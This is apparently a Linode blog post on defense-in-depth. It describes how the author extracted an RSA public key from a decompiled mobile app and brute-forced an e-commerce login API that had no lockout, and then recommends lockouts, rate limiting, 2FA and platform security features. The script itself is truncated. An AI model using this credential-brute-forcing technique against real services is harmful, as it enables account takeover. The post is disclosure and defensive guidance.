Throughout history, countless failures have occurred due to planners being overconfident in the quality of their solutions. Whether it’s the unsinkable Titanic or the impregnable Maginot line of World War II, putting too much confidence into a single solution has caused terrible catastrophes over and over again.
In the world of cybersecurity, it’s no different. If you have a single-solution cybersecurity defense, you’re asking for trouble.
The Dangers of a Single Solution to Security
In this article, we’ll look at one particular case where this occurred with an ecommerce provider. This company built a new login API for their mobile app. They strengthened their security by requiring 1024-bit RSA encryption of the password in the payload of any authentication requests.
This is a good idea. After all, it makes man-in-the-middle attacks mostly useless since the authentication information would not be human-readable. It appears as a base64-encoded and RSA-encrypted string. Since the authentication requests were coming from their own app, this was a pretty good approach. Thumbs up.
But… there’s more to it than that. What wasn’t a good idea was thinking that this security measure was all they needed. Instead of continuing to improve security with measures like enforcing maximum failed password attempts, they decided to just ship it, and then they moved on to other development work.
While it may seem like everything was fine, there was a significant flaw in their solution. The 1024-bit public key was easily observable by using JADX to decompile their mobile app.
By saving the public key in a local file, an attacker could cycle through any passwords they like, encrypting them all according to the target’s public key and completely undoing the work of securing the authentication endpoint in the first place.
Since there was no maximum failed password attempt limit on this endpoint, I wrote a bash script that would automate a check on as many passwords as I wanted. I proved the problem to this ecommerce provider with a simple countdown to my password that I’d set to demonstrate the issue:
#!/bin/bash |
Here’s the output of my script:
Welcome 10 |
Let’s break it down. In a for loop, I start with a welcome message to announce which digit I’m inserting in my attempt to get to the password I set for this proof-of-concept. Then, we see the password and the subsequent encrypted value that will be sent to the API. (You didn’t really think I’d use such a simple password, let alone reveal it here, did you?)
Finally, I output the API response to my password check. For the first six attempts, I get an unsuccessful response, but when I finally get to my hyper-secure (😉) password of faster4ward, the API lets me in with my normal authorization scope.
So much for RSA-encrypted authentication payloads…
How You Can Avoid This Same Kind of Mistake
Now that we’ve identified the problem, what can we do instead? Well, let’s start with the fundamental mistake in the thinking that got us here in the first place. There are many things to do in order to successfully secure any web application since there is no silver bullet to securing an application! For our specific example above, you want other measures in place in addition to the strong RSA encryption.
- Make sure your encryption keys are secure.
- Enforce a maximum number of failed password verification attempts, resulting in an account lockout.
- Implement request rate limiting.
Any security of an internet-exposed system must embrace the tenet of defense-in-depth: Multiple layers of defense must be deployed across the entire surface area of your web presence, not just the points you find most interesting or obvious to defend.
Fortunately, Linode offers many great security features built right into our platform, and there are many industry standards for tackling some common attack vectors. Some of these solutions apply to your Linode account, and some apply directly to your Linodes. Let’s look at both types of protection.
Protecting admin access to your Linode account
If someone can get into your Linode account, it’s game over. Getting into your Linodes becomes trivial. This is why Linode accounts are built with security in mind. By default, every Linode account must be secured with phone verification. Linode also requires configuring security questions and answers for account recovery purposes.
In addition to phone verification, you can also configure two-factor authentication using a time-based one-time password (TOTP) authentication code. While not required on accounts, it’s highly recommended to activate 2FA, as it’s much more secure than just a password and security questions, and even more secure than phone verification codes.
Another level of security is available to completely bypass having a Linode password at all. You can use a Third-Party Authentication (TPA) source. By using this method, you can configure secure methods of logging in on the third-party source of your choosing (right now Google and GitHub are supported for this). This reduces the chances of a leaked password causing you to lose access to your Linode account.
One final method of protecting your account is setting up specific users who can access specific portions of your account. This will allow you to set certain permissions around what sub-users can do on your account, thus further reducing the possibility of an attacker causing unmitigated damage to your account.
Introducing this separation of concerns between the users accessing the various parts of your infrastructure is a good practice. Of course, if you’re a team of one, this might not be necessary. Still, if you do have a true separation of concerns, then this would allow you to make sure unauthorized changes aren’t made to your account or infrastructure.
Secure your Linodes
Securing your account is definitely important, but securing your servers and infrastructure may be even more important. After all, most attackers will be trying to get into your infrastructure through the infrastructure rather than through your hosting provider. Linode covers you here as well.
One of the best places to start is the Linode App Marketplace. Whether you need to deploy security solutions like Haltdos WAF to stop malicious traffic at the gates of your servers or want to have a one-click installation of a monitoring stack such as a Prometheus + Grafana setup, it doesn’t get much easier to secure and monitor your stack than the Marketplace.
Third-party apps aren’t the only solutions you have at your disposal either. Linode Cloud Firewall is a great solution that is easily configured straight from the Cloud Manager. Using both Linode Cloud Firewall and a firewall on your Linode is actually a great idea, too.
Another good practice is ensuring your servers are protected against DDoS attacks. With Linode, you defend your entire infrastructure against these attacks by default—at no cost! You don’t even need to do anything to configure it.
Conclusion
There’s a lot more to say about security, but this is probably good enough for now. All in all, avoid letting your clever solution to one problem make you forget to take care of the other things you could be missing in your security approach.
Comments